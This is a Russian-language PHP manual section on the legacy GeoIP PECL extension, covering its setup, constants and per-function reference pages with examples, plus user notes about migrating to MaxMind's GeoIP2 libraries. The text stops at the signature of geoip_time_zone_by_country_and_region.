There are no user contributed notes for this page.


Geo IP Location

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции GeoIP
    • geoip_asnum_by_name — Получить номер автономной системы (ASN)
    • geoip_continent_code_by_name — Получить двухсимвольный код континента
    • geoip_country_code_by_name — Получить двухсимвольный код страны
    • geoip_country_code3_by_name — Получить трехсимвольный код страны
    • geoip_country_name_by_name — Получить полное название страны
    • geoip_database_info — Возвращает информацию о базе GeoIP
    • geoip_db_avail — Проверяет доступность базы GeoIP
    • geoip_db_filename — Возвращает имя файла соответствующей базы GeoIP
    • geoip_db_get_all_info — Возвращает подробную информацию обо всех типах базы GeoIP
    • geoip_domain_by_name — Получить имя домена второго уровня
    • geoip_id_by_name — Возвращает тип интернет-соединения
    • geoip_isp_by_name — Возвращает имя интернет-провайдера (ISP)
    • geoip_netspeedcell_by_name — Получить скорость соединения с сетью Интернет
    • geoip_org_by_name — Возвращает название организации, владеющей IP-адресом
    • geoip_record_by_name — Возвращает подробную информацию об адресе, найденном в базе GeoIP
    • geoip_region_by_name — Возвращает коды страны и региона
    • geoip_region_name_by_code — Возвращает название региона для выбранной страны и кода региона
    • geoip_setup_custom_directory — Установить пользовательскую директорию для базы данных GeoIP
    • geoip_time_zone_by_country_and_region — Возвращает часовой пояс для кода страны и региона

User Contributed Notes

ruben dot benjamin at hidden-email dot com 27-Jan-2022 06:51
If you want to use the C Library
Example for Ubuntu and PHP 7.4

sudo apt install libmaxminddb0 libmaxminddb-dev mmdb-bin
pecl install maxminddb
vi /etc/php/7.4/mods-available/maxmind.ini
add
extension=maxminddb.so
phpenmod maxmind

In code
<?php

use MaxMind\Db\Reader;

$ipAddress = '24.24.24.24';
$databaseFile = '/usr/share/GeoIP/GeoLite2-Country.mmdb';

$reader = new Reader($databaseFile);

// get returns just the record for the IP address
print_r($reader->get($ipAddress));

// getWithPrefixLen returns an array containing the record and the
// associated prefix length for that record.
print_r($reader->getWithPrefixLen($ipAddress));

$reader->close();
webmaster at isag dot melbourne 05-Jan-2019 09:51
With GeoIP2, the easiest way is to:

* Grab the latest GeoIP2 Lite Database(s): https://dev.maxmind.com/geoip/geoip2/geolite2/
* Grab the latest geoip2.phar: https://github.com/maxmind/GeoIP2-php/releases

<?php
require_once("geoip2.phar");
use GeoIp2\Database\Reader;
// City DB
$reader = new Reader('/path/to/GeoLite2-City.mmdb');
$record = $reader->city($_SERVER['REMOTE_ADDR']);
// or for Country DB
// $reader = new Reader('/path/to/GeoLite2-Country.mmdb');
// $record = $reader->country($_SERVER['REMOTE_ADDR']);
print($record->country->isoCode . "\n");
print($record->country->name . "\n");
print($record->country->names['zh-CN'] . "\n");
print($record->mostSpecificSubdivision->name . "\n");
print($record->mostSpecificSubdivision->isoCode . "\n");
print($record->city->name . "\n");
print($record->postal->code . "\n");
print($record->location->latitude . "\n");
print($record->location->longitude . "\n");
$>
mark at moderndeveloperllc dot com 26-Dec-2013 05:43
It should be noted that this extension has now been superseded by the GeoIP2 API that MaxMind now produces. There is a pure-PHP set of classes and a C library and extension you can optionally install. The code can be found in various projects on MaxMind's GitHub page: https://github.com/maxmind/


Введение

Модуль GeoIP позволяет найти местоположение по IP-адресу. С помощью GeoIP можно получить такую информацию как город, государство, страна, долгота и широта, а также можно узнать, интернет-провайдера и тип соединения.

Внимание

Этот модуль не поддерживает базу данных "GeoIP2" от MaxMind, а только файлы базы "GeoIP legacy".

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

Michelangelo van Dam 21-Mar-2019 10:45
As of January 2, 2019 Maxmind discontinued the original GeoLite databases that we have been using in all these examples. You can read the full announcement here: https://support.maxmind.com/geolite-legacy-discontinuation-notice/

This means that if you require to have an updated version of the GeoIP information, there are a few steps you need to do:
1. Install the GeoIP2 client libraries (Composer, Phar)
2. Download the new GeoIP2 datasets
3. Update your application to make use of this new API and dataset

You can find detailed instructions on http://maxmind.github.io/GeoIP2-php/

C extension
Yes, there is a C extension available! Check out https://github.com/maxmind/MaxMind-DB-Reader-php for more details on how to install and use this extension.


Требования

Этот модуль требует наличие установленной библиотеки языка C GeoIP версии 1.4.0 или выше. Вы можете получить данную библиотеку по ссылке » http://www.maxmind.com/app/c и скомпилировать её самостоятельно.

По умолчанию, у вас есть доступ только к бесплатным базам GeoIP Country или GeoLite City. Если вы хотите, чтобы этот модуль работал с прочими базами GeoIP, необходимо купить коммерческую лицензию » Maxmind.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/geoip.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки GeoIP
Имя | По умолчанию | Место изменения | Список изменений
geoip.custom_directory | "" | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

geoip.custom_directory string

По умолчанию пустая, но может быть установлена для принудительного использования другого пути к базе данных, нежели указанного в библиотеке.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

GEOIP_COUNTRY_EDITION (int)
GEOIP_REGION_EDITION_REV0 (int)
GEOIP_CITY_EDITION_REV0 (int)
GEOIP_ORG_EDITION (int)
GEOIP_ISP_EDITION (int)
GEOIP_CITY_EDITION_REV1 (int)
GEOIP_REGION_EDITION_REV1 (int)
GEOIP_PROXY_EDITION (int)
GEOIP_ASNUM_EDITION (int)
GEOIP_NETSPEED_EDITION (int)
GEOIP_DOMAIN_EDITION (int)

Следующие константы предназначены для установки скорости сети:

GEOIP_UNKNOWN_SPEED (int)
GEOIP_DIALUP_SPEED (int)
GEOIP_CABLEDSL_SPEED (int)
GEOIP_CORPORATE_SPEED (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции GeoIP

Содержание

  • geoip_asnum_by_name — Получить номер автономной системы (ASN)
  • geoip_continent_code_by_name — Получить двухсимвольный код континента
  • geoip_country_code_by_name — Получить двухсимвольный код страны
  • geoip_country_code3_by_name — Получить трехсимвольный код страны
  • geoip_country_name_by_name — Получить полное название страны
  • geoip_database_info — Возвращает информацию о базе GeoIP
  • geoip_db_avail — Проверяет доступность базы GeoIP
  • geoip_db_filename — Возвращает имя файла соответствующей базы GeoIP
  • geoip_db_get_all_info — Возвращает подробную информацию обо всех типах базы GeoIP
  • geoip_domain_by_name — Получить имя домена второго уровня
  • geoip_id_by_name — Возвращает тип интернет-соединения
  • geoip_isp_by_name — Возвращает имя интернет-провайдера (ISP)
  • geoip_netspeedcell_by_name — Получить скорость соединения с сетью Интернет
  • geoip_org_by_name — Возвращает название организации, владеющей IP-адресом
  • geoip_record_by_name — Возвращает подробную информацию об адресе, найденном в базе GeoIP
  • geoip_region_by_name — Возвращает коды страны и региона
  • geoip_region_name_by_code — Возвращает название региона для выбранной страны и кода региона
  • geoip_setup_custom_directory — Установить пользовательскую директорию для базы данных GeoIP
  • geoip_time_zone_by_country_and_region — Возвращает часовой пояс для кода страны и региона

User Contributed Notes

There are no user contributed notes for this page.


Получить номер автономной системы (ASN)

  • « Функции GeoIP
  • geoip_continent_code_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить номер автономной системы (ASN)

geoip_asnum_by_name

(PECL geoip >= 1.1.0)

geoip_asnum_by_name — Получить номер автономной системы (ASN)

Описание

geoip_asnum_by_name(string $hostname): string

Функция geoip_asnum_by_name() возвращает номера автономной системы, связанные с IP-адресом.

Список параметров

hostname

Имя хоста или IP-адрес.

Возвращаемые значения

В случае успешного выполнения возвращает ASN. Если адрес не найден в базе, то возвращается false.

Примеры

Пример #1 Пример использования geoip_asnum_by_name()

Получение ASN для хоста www.example.com.

<?php
$asn = geoip_asnum_by_name('www.example.com');

if ($asn) {
echo 'ASN равен: '. $asn;
}
?>

Результат выполнения данного примера:

ASN равен: AS15133 EdgeCast Networks, Inc

User Contributed Notes

There are no user contributed notes for this page.


Получить двухсимвольный код континента

  • « geoip_asnum_by_name
  • geoip_country_code_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить двухсимвольный код континента

geoip_continent_code_by_name

(PECL geoip >= 1.0.3)

geoip_continent_code_by_name — Получить двухсимвольный код континента

Описание

geoip_continent_code_by_name(string $hostname): string

Функция geoip_continent_code_by_name() возвращает двухсимвольный код континента, соответствующий имени хоста или IP-адресу.

Список параметров

hostname

Имя хоста или IP-адрес, по которому будет вестись поиск.

Возвращаемые значения

Возвращает два символа, содержащих код континента, при нахождении адреса в базе данных, в противном случае false.

Константы кодов
Код | Имя континента
AF | Африка
AN | Антарктика
AS | Азия
EU | Европа
NA | Северная Америка
OC | Океания
SA | Южная Америка

Примеры

Пример #1 Пример использования geoip_continent_code_by_name()

Данный пример выведет расположение хоста example.com.

<?php
$continent = geoip_continent_code_by_name('www.example.com');
if ($continent) {
echo 'Данный хост расположен в ' . $continent;
}
?>

Результат выполнения данного примера:

Данный хост расположен в NA

Смотрите также

  • geoip_country_code_by_name() - Получить двухсимвольный код страны

User Contributed Notes

There are no user contributed notes for this page.


Получить двухсимвольный код страны

  • « geoip_continent_code_by_name
  • geoip_country_code3_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить двухсимвольный код страны

geoip_country_code_by_name

(PECL geoip >= 0.2.0)

geoip_country_code_by_name — Получить двухсимвольный код страны

Описание

geoip_country_code_by_name(string $hostname): string

Функция geoip_country_code_by_name() возвращает двухсимвольный код страны, соответствующий имени хоста или IP-адресу.

Список параметров

hostname

Имя хоста или IP-адрес, по которому будет вестись поиск.

Возвращаемые значения

Возвращает два символа, содержащих код страны по ISO 3166-1, при нахождении адреса в базе данных, в противном случае false.

Примеры

Пример #1 Пример использования geoip_country_code_by_name()

Данный пример выведет расположение хоста example.com.

<?php
$country = geoip_country_code_by_name('www.example.com');
if ($country) {
echo 'Хост расположен в ' . $country;
}
?>

Результат выполнения данного примера:

Хост расположен в US

Примечания

Предостережение

Пожалуйста, ознакомьтесь с полным списком допустимых возвращаемых значений, в том числе и специальных кодов, здесь » http://www.maxmind.com/en/iso3166.

Смотрите также

  • geoip_country_code3_by_name() - Получить трехсимвольный код страны
  • geoip_country_name_by_name() - Получить полное название страны

User Contributed Notes

There are no user contributed notes for this page.


Получить трехсимвольный код страны

  • « geoip_country_code_by_name
  • geoip_country_name_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить трехсимвольный код страны

geoip_country_code3_by_name

(PECL geoip >= 0.2.0)

geoip_country_code3_by_name — Получить трехсимвольный код страны

Описание

geoip_country_code3_by_name(string $hostname): string

Функция geoip_country_code3_by_name() возвращает трехсимвольный код страны, соответствующий имени хоста или IP-адресу.

Список параметров

hostname

Имя хоста или IP-адрес, по которому будет вестись поиск.

Возвращаемые значения

Возвращает три символа, содержащих код континента по ISO 3166-1, при нахождении адреса в базе данных, в противном случае false.

Примеры

Пример #1 Пример использования geoip_country_code3_by_name()

Данный пример выведет расположение хоста example.com.

<?php
$country = geoip_country_code3_by_name('www.example.com');
if ($country) {
echo 'Хост расположен в ' . $country;
}
?>

Результат выполнения данного примера:

Хост расположен в USA

Смотрите также

  • geoip_country_code_by_name() - Получить двухсимвольный код страны
  • geoip_country_name_by_name() - Получить полное название страны

User Contributed Notes

There are no user contributed notes for this page.


Получить полное название страны

  • « geoip_country_code3_by_name
  • geoip_database_info »
  • PHP Manual
  • Функции GeoIP
  • Получить полное название страны

geoip_country_name_by_name

(PECL geoip >= 0.2.0)

geoip_country_name_by_name — Получить полное название страны

Описание

geoip_country_name_by_name(string $hostname): string

Функция geoip_country_name_by_name() возвращает полное название страны, соответствующий имени хоста или IP-адресу.

Список параметров

hostname

Имя хоста или IP-адрес, по которому будет вестись поиск.

Возвращаемые значения

Возвращает полное название страны при нахождении адреса в базе данных, в противном случае false.

Примеры

Пример #1 Пример использования geoip_country_name_by_name()

Данный пример выведет расположение хоста example.com.

<?php
$country = geoip_country_name_by_name('www.example.com');
if ($country) {
echo 'Хост расположен в ' . $country;
}
?>

Результат выполнения данного примера:

Хост расположен в United States

Смотрите также

  • geoip_country_code_by_name() - Получить двухсимвольный код страны
  • geoip_country_code3_by_name() - Получить трехсимвольный код страны

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о базе GeoIP

  • « geoip_country_name_by_name
  • geoip_db_avail »
  • PHP Manual
  • Функции GeoIP
  • Возвращает информацию о базе GeoIP

geoip_database_info

(PECL geoip >= 0.2.0)

geoip_database_info — Возвращает информацию о базе GeoIP

Описание

geoip_database_info(int $database = GEOIP_COUNTRY_EDITION): string

Функция geoip_database_info() возвращает версию базы GeoIP, соответствующую определению в бинарном файле.

Эта функция вызывается без параметров и возвращает версию базы GeoIP Free Country Edition.

Список параметров

database

Тип базы определяется целым числом (integer). Вы можете использовать разнообразные константы, определённые в этом модуле (т.е.: GEOIP_*_EDITION).

Возвращаемые значения

Возвращает подходящую версию, или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования geoip_database_info()

Пример демонстрирует вывод информации о базе данных.

<?php
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

Результат выполнения данного примера:

GEO-106FREE 20060801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


Проверяет доступность базы GeoIP

  • « geoip_database_info
  • geoip_db_filename »
  • PHP Manual
  • Функции GeoIP
  • Проверяет доступность базы GeoIP

geoip_db_avail

(PECL geoip >= 1.0.1)

geoip_db_avail — Проверяет доступность базы GeoIP

Описание

geoip_db_avail(int $database): bool

Функция geoip_db_avail() определяет, доступна ли соответствующая база GeoIP и может ли быть открыта на диске.

При этом не сообщается, является ли файл корректной базой данных, только доступность для чтения.

Список параметров

database

Тип базы данных определяется целым числом (integer). Вы можете использовать различные константы, определённые в этом модуле (ie: GEOIP_*_EDITION).

Возвращаемые значения

Возвращает true, если база данных существует, false, если не найдена, или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования geoip_db_avail()

Пример выводит версию текущей базы данных в виде строки.

<?php

if (geoip_db_avail(GEOIP_COUNTRY_EDITION))
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

Результат выполнения данного примера:

GEO-106FREE 20080801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла соответствующей базы GeoIP

  • « geoip_db_avail
  • geoip_db_get_all_info »
  • PHP Manual
  • Функции GeoIP
  • Возвращает имя файла соответствующей базы GeoIP

geoip_db_filename

(PECL geoip >= 1.0.1)

geoip_db_filename — Возвращает имя файла соответствующей базы GeoIP

Описание

geoip_db_filename(int $database): string

Функция geoip_db_filename() возвращает имя файла соответствующей базы GeoIP.

Функция не определяет, существует ли файл на диске, только указывает путь, по которому библиотека ищет файл базы.

Список параметров

database

Тип базы определяется целым числом (integer). Вы можете использовать разнообразные константы, определённые в этом модуле (т.е.: GEOIP_*_EDITION).

Возвращаемые значения

Возвращает имя файла соответствующей базы, или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования geoip_db_filename()

Пример отображения имени файла текущей базы в виде строки.

<?php

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

Результат выполнения данного примера:

/usr/share/GeoIP/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подробную информацию обо всех типах базы GeoIP

  • « geoip_db_filename
  • geoip_domain_by_name »
  • PHP Manual
  • Функции GeoIP
  • Возвращает подробную информацию обо всех типах базы GeoIP

geoip_db_get_all_info

(PECL geoip >= 1.0.1)

geoip_db_get_all_info — Возвращает подробную информацию обо всех типах базы GeoIP

Описание

geoip_db_get_all_info(): array

Функция geoip_db_get_all_info() возвращает подробную информацию обо всех типах базы GeoIP в виде многомерного массива.

Эта функция доступна даже при отсутствии установленных базы данных. При этом типы будут перечислены и отмечены как недоступные.

Имена различных ключей возвращаемого ассоциативного массива:

  • "available" -- Логический тип, указывает доступна ли база (смотрите geoip_db_avail())
  • "description" -- Описание базы данных
  • "filename" -- Имя файла базы данных на диске (смотрите geoip_db_filename())

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив.

Примеры

Пример #1 Пример использования geoip_db_get_all_info()

Выводит массив содержащий всю информацию о базе данных.

<?php
$infos = geoip_db_get_all_info();
if (is_array($infos)) {
var_dump($infos);
}
?>

Результат выполнения данного примера:

array(11) {
  [1]=>
  array(3) {
    ["available"]=>
    bool(true)
    ["description"]=>
    string(21) "GeoIP Country Edition"
    ["filename"]=>
    string(32) "/usr/share/GeoIP/GeoIP.dat"
  }

[ ... ]

  [11]=>
  array(3) {
    ["available"]=>
    bool(false)
    ["description"]=>
    string(25) "GeoIP Domain Name Edition"
    ["filename"]=>
    string(38) "/usr/share/GeoIP/GeoIPDomain.dat"
  }
}

Пример #2 Пример использования geoip_db_get_all_info()

Вы можете использовать разнообразные константы как ключи для получения только конкретной части информации.

<?php
$infos = geoip_db_get_all_info();
if ($infos[GEOIP_COUNTRY_EDITION]['available']) {
echo $infos[GEOIP_COUNTRY_EDITION]['description'];
}
?>

Результат выполнения данного примера:

GeoIP Country Edition

User Contributed Notes

There are no user contributed notes for this page.


Получить имя домена второго уровня

  • « geoip_db_get_all_info
  • geoip_id_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить имя домена второго уровня

geoip_domain_by_name

(PECL geoip >= 1.1.0)

geoip_domain_by_name — Получить имя домена второго уровня

Описание

geoip_domain_by_name(string $hostname): string

Функция geoip_domain_by_name() возвращает имена доменов второго уровня, связанных с именем хоста или IP-адресом.

Сейчас эта функция доступна только пользователям, купившим коммерческую версию GeoIP Domain Edition. В случае, если корректная база данных не будет найдена, будет выведено предупреждение.

Список параметров

hostname

Имя хоста или IP-адрес.

Возвращаемые значения

В случае успешного выполнения возвращает имя домена. Если адрес не найден в базе, то возвращается false.

Примеры

Пример #1 Пример использования geoip_domain_by_name()

Найдём домен, связанный с IP 61.106.139.1.

<?php
$domain = geoip_domain_by_name('61.106.139.1');

if ($domain) {
echo 'Домен: '. $domain;
}

?>

Результат выполнения данного примера:

Домен: von.co.kr

User Contributed Notes

There are no user contributed notes for this page.


Возвращает тип интернет-соединения

  • « geoip_domain_by_name
  • geoip_isp_by_name »
  • PHP Manual
  • Функции GeoIP
  • Возвращает тип интернет-соединения

geoip_id_by_name

(PECL geoip >= 0.2.0)

geoip_id_by_name — Возвращает тип интернет-соединения

Описание

geoip_id_by_name(string $hostname): int

Функция geoip_id_by_name() возвращает тип Интернет соединения соответствующего имени хоста или IP-адреса.

Возвращает числовое значение, которое можно сравнить с константами:

  • GEOIP_UNKNOWN_SPEED
  • GEOIP_DIALUP_SPEED
  • GEOIP_CABLEDSL_SPEED
  • GEOIP_CORPORATE_SPEED

Список параметров

hostname

Имя хоста или IP-адрес, соединение с которыми проверяется.

Возвращаемые значения

Возвращает тип соединения.

Примеры

Пример #1 Пример использования geoip_id_by_name()

Выводит тип соединения для хоста example.com.

<?php
$netspeed = geoip_id_by_name('www.example.com');

echo 'Тип Интернет-соединения: ';

switch ($netspeed) {
case GEOIP_DIALUP_SPEED:
echo 'dial-up';
break;
case GEOIP_CABLEDSL_SPEED:
echo 'cable or DSL';
break;
case GEOIP_CORPORATE_SPEED:
echo 'corporate';
break;
case GEOIP_UNKNOWN_SPEED:
default:
echo 'unknown';
}
?>

Результат выполнения данного примера:

Тип Интернет-соединения: corporate

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя интернет-провайдера (ISP)

  • « geoip_id_by_name
  • geoip_netspeedcell_by_name »
  • PHP Manual
  • Функции GeoIP
  • Возвращает имя интернет-провайдера (ISP)

geoip_isp_by_name

(PECL geoip >= 1.0.2)

geoip_isp_by_name — Возвращает имя интернет-провайдера (ISP)

Описание

geoip_isp_by_name(string $hostname): string

Функция geoip_isp_by_name() возвращает имя интернет-провайдера (ISP) указанного IP-адреса.

Эта функция доступна только для тех, кто приобрёл коммерческую версию GeoIP ISP. Если такая база отсутствует, выводится предупреждение.

Список параметров

hostname

Имя хоста или IP-адрес.

Возвращаемые значения

Возвращает имя ISP в случае успешного выполнения или false, если адрес не найден в базе данных.

Примеры

Пример #1 Пример использования geoip_isp_by_name()

Выведет имя ISP для хоста example.com.

<?php
$isp = geoip_isp_by_name('www.example.com');
if ($isp) {
echo 'Этот IP-адрес управляется провайдером: ' . $isp;
}
?>

Результат выполнения данного примера:

Адрес управляется провайдером: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


Получить скорость соединения с сетью Интернет

  • « geoip_isp_by_name
  • geoip_org_by_name »
  • PHP Manual
  • Функции GeoIP
  • Получить скорость соединения с сетью Интернет

geoip_netspeedcell_by_name

(PECL geoip >= 1.1.0)

geoip_netspeedcell_by_name — Получить скорость соединения с сетью Интернет

Описание

geoip_netspeedcell_by_name(string $hostname): string

Функция geoip_netspeedcell_by_name() возвращает тип подключения к сети Интернет и его скорость относительно заданного имени хоста или IP-адреса.

Эта функция доступна, только если используется библиотека GeoIP версии 1.4.8 и выше.

Сейчас эта функция доступна только пользователям, купившим коммерческую версию GeoIP Domain Edition. В случае если корректная база данных не будет найдена, будет выведено предупреждение.

Возвращается строка. Стандартные значения:

  • Cable/DSL
  • Dialup
  • Cellular
  • Corporate

Список параметров

hostname

Имя хоста или IP-адрес.

Возвращаемые значения

В случае успешного выполнения возвращает скорость соединения. Если адрес не найден в базе данных, то возвращается false.

Примеры

Пример #1 Пример использования geoip_netspeedcell_by_name()

Получение скорости соединения с example.com.

<?php
$netspeed = geoip_netspeedcell_by_name('www.example.com');

if ($netspeed) {
echo 'Тип соединения: '. $netspeed;
}
?>

Результат выполнения данного примера:

Тип соединения: Corporate

User Contributed Notes

There are no user contributed notes for this page.


Возвращает название организации, владеющей IP-адресом

  • « geoip_netspeedcell_by_name
  • geoip_record_by_name »
  • PHP Manual
  • Функции GeoIP
  • Возвращает название организации, владеющей IP-адресом

geoip_org_by_name

(PECL geoip >= 0.2.0)

geoip_org_by_name — Возвращает название организации, владеющей IP-адресом

Описание

geoip_org_by_name(string $hostname): string

Функция geoip_org_by_name() возвращает название организации, которая владеет указанным IP-адресом.

Эта функция доступна только для тех, кто приобрёл коммерческую версию GeoIP Organization, ISP или AS. Если такая база отсутствует, выводится предупреждение.

Список параметров

hostname

Имя хоста или IP-адрес.

Возвращаемые значения

Возвращает имя организации в случае успешного выполнения или false, если адрес не может быть найден в базе данных.

Примеры

Пример #1 Пример использованияgeoip_org_by_name()

Будет выведено название организации, которой принадлежит IP-адрес хоста example.com.

<?php
$org = geoip_org_by_name('www.example.com');
if ($org) {
echo 'Владелец данного адреса: ' . $org;
}
?>

Результат выполнения данного примера:

Владелец данного адреса: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подробную информацию об адресе, найденном в базе GeoIP

  • « geoip_org_by_name
  • geoip_region_by_name »
  • PHP Manual
  • Функции GeoIP
  • Возвращает подробную информацию об адресе, найденном в базе GeoIP

geoip_record_by_name

(PECL geoip >= 0.2.0)

geoip_record_by_name — Возвращает подробную информацию об адресе, найденном в базе GeoIP

Описание

geoip_record_by_name(string $hostname): array

Функция geoip_record_by_name() возвращает информацию об адресе, соответствующую имени хоста или IP адреса.

Функция доступна для бесплатной версии GeoLite City Edition и коммерческой GeoIP City Edition. Если необходимые базы отсутствует, выводится предупреждение.

Следующие имена ключей возвращаемого ассоциативного массива:

  • "continent_code" -- Двухбуквенный код континента (с версии 1.0.4 с libgeoip 1.4.3 или более новой)
  • "country_code" -- Двухбуквенный код страны (смотрите geoip_country_code_by_name())
  • "country_code3" -- Трёхбуквенный код страны (смотрите geoip_country_code3_by_name())
  • "country_name" -- Название страны (смотрите geoip_country_name_by_name())
  • "region" -- Код региона (например: CA для Калифорнии)
  • "city" -- Город.
  • "postal_code" -- Почтовый индекс, FSA или Zip-код
  • "latitude" -- Широта, число с плавающей точкой (float) без знака.
  • "longitude" -- Долгота, число с плавающей точкой (float) без знака.
  • "dma_code" -- Код рыночной зоны (Designated Market Area, DMA), только для США и Канады
  • "area_code" -- Код телефонной сети общего пользования (PSTN), например, 212

Список параметров

hostname

Имя хоста или IP-адрес, данные по которому должны быть получены.

Возвращаемые значения

Возвращает ассоциативный массив в случае успешного выполнения или false, если адрес не может быть найден в базе.

Список изменений

Версия | Описание
PECL geoip 1.0.4 | Добавлен код континента (continent_code) с GeoIP Library 1.4.3 или более новыми.
PECL geoip 1.0.3 | Добавлен трёхбуквенный код страны (country_code3) и название страны (country_name).

Примеры

Пример #1 Пример использования geoip_record_by_name()

Выведет массив, содержащий запись о хосте example.com.

<?php
$record = geoip_record_by_name('www.example.com');
if ($record) {
print_r($record);
}
?>

Результат выполнения данного примера:

Array
(
    [continent_code] => NA
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Marina Del Rey
    [postal_code] =>
    [latitude] => 33.9776992798
    [longitude] => -118.435096741
    [dma_code] => 803
    [area_code] => 310
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коды страны и региона

  • « geoip_record_by_name
  • geoip_region_name_by_code »
  • PHP Manual
  • Функции GeoIP
  • Возвращает коды страны и региона

geoip_region_by_name

(PECL geoip >= 0.2.0)

geoip_region_by_name — Возвращает коды страны и региона

Описание

geoip_region_by_name(string $hostname): array

Функцияgeoip_region_by_name() возвращает коды страны и региона, соответствующих имени хоста или IP-адресу.

Эта функция доступна только для тех, кто приобрёл коммерческую версию GeoIP Region. Если такая база отсутствует, выводится предупреждение.

Следующие имена ключей возвращаемого ассоциативного массива:

  • "country_code" -- Двухбуквенный код страны (смотрите geoip_country_code_by_name())
  • "region" -- Код региона (например, CA для Калифорнии)

Список параметров

hostname

Имя хоста или IP-адрес, данные о стране и регионе, которого необходимо найти.

Возвращаемые значения

Возвращает ассоциативный массив в случае успешного выполнения или false, если адрес не будет найден в базе данных.

Примеры

Пример #1 Пример использования geoip_region_by_name()

Выведет массив, состоящий из кода страны и кода региона для хоста example.com.

<?php
$region = geoip_region_by_name('www.example.com');
if ($region) {
print_r($region);
}
?>

Результат выполнения данного примера:

Array
(
    [country_code] => US
    [region] => CA
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает название региона для выбранной страны и кода региона

  • « geoip_region_by_name
  • geoip_setup_custom_directory »
  • PHP Manual
  • Функции GeoIP
  • Возвращает название региона для выбранной страны и кода региона

geoip_region_name_by_code

(PECL geoip >= 1.0.4)

geoip_region_name_by_code — Возвращает название региона для выбранной страны и кода региона

Описание

geoip_region_name_by_code(string $country_code, string $region_code): string

Функция geoip_region_name_by_code() возвращает название региона, соответствующей страны и кода региона.

В США код региона соответствует двухбуквенному сокращению каждому штату. В Канаде код региона соответствует двухбуквенному сокращению имени провинции или территории, присвоенный почтовой службой Канады.

Для остального мира GeoIP использует коды FIPS 10-4 для представления региона. Смотрите также » http://www.maxmind.com/app/fips10_4 -- детальный список кодов FIPS 10-4.

Данная функция всегда доступна при использовании библиотеки GeoIP версии 1.4.1 и новее. Данные берутся непосредственно из библиотеки GeoIP, а не из какой-либо базы.

Список параметров

country_code

Двухбуквенный код страны geoip_country_code_by_name())

region_code

Двухбуквенный (или цифровой) код региона geoip_region_by_name())

Возвращаемые значения

Возвращает название региона в случае успехе или false, если страна и код региона не найдены в базе данных.

Примеры

Пример #1 Пример использования geoip_region_name_by_code() (Для Канады/США)

Будет выведено название региона для страны CA (Канада), региона QC (Квебек).

<?php
$region = geoip_region_name_by_code('CA', 'QC');
if ($region) {
echo 'Название региона для CA/QC: ' . $region;
}
?>

Результат выполнения данного примера:

Название региона для CA/QC: Quebec

Пример #2 Пример использования geoip_region_name_by_code(), используя коды FIPS

Будет выведено имя региона для страны JP (Япония), региона 01 (префектура Айти).

<?php
$region = geoip_region_name_by_code('JP', '01');
if ($region) {
echo 'Название региона для JP/01: ' . $region;
}
?>

Результат выполнения данного примера:

Название региона для JP/01: Aichi

User Contributed Notes

There are no user contributed notes for this page.


Установить пользовательскую директорию для базы данных GeoIP

  • « geoip_region_name_by_code
  • geoip_time_zone_by_country_and_region »
  • PHP Manual
  • Функции GeoIP
  • Установить пользовательскую директорию для базы данных GeoIP

geoip_setup_custom_directory

(PECL geoip >= 1.1.0)

geoip_setup_custom_directory — Установить пользовательскую директорию для базы данных GeoIP

Описание

geoip_setup_custom_directory(string $path): void

Функция geoip_setup_custom_directory() изменяет директорию по умолчанию для базы данных GeoIP. Использование функции эквивалентно изменению geoip.custom_directory.

Список параметров

path

Полный путь до базы данных GeoIP.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования geoip_setup_custom_directory()

Изменим путь до базы данных GeoIP.

<?php

geoip_setup_custom_directory('/some/other/path');

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

Результат выполнения данного примера:

/some/other/path/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часовой пояс для кода страны и региона

  • « geoip_setup_custom_directory
  • FANN »
  • PHP Manual
  • Функции GeoIP
  • Возвращает часовой пояс для кода страны и региона

geoip_time_zone_by_country_and_region

(PECL geoip >= 1.0.4)

geoip_time_zone_by_country_and_region — Возвращает часовой пояс для кода страны и региона

Описание

geoip_time_zone_by_country_and_region(string $country_code, string $region_code = ?): string

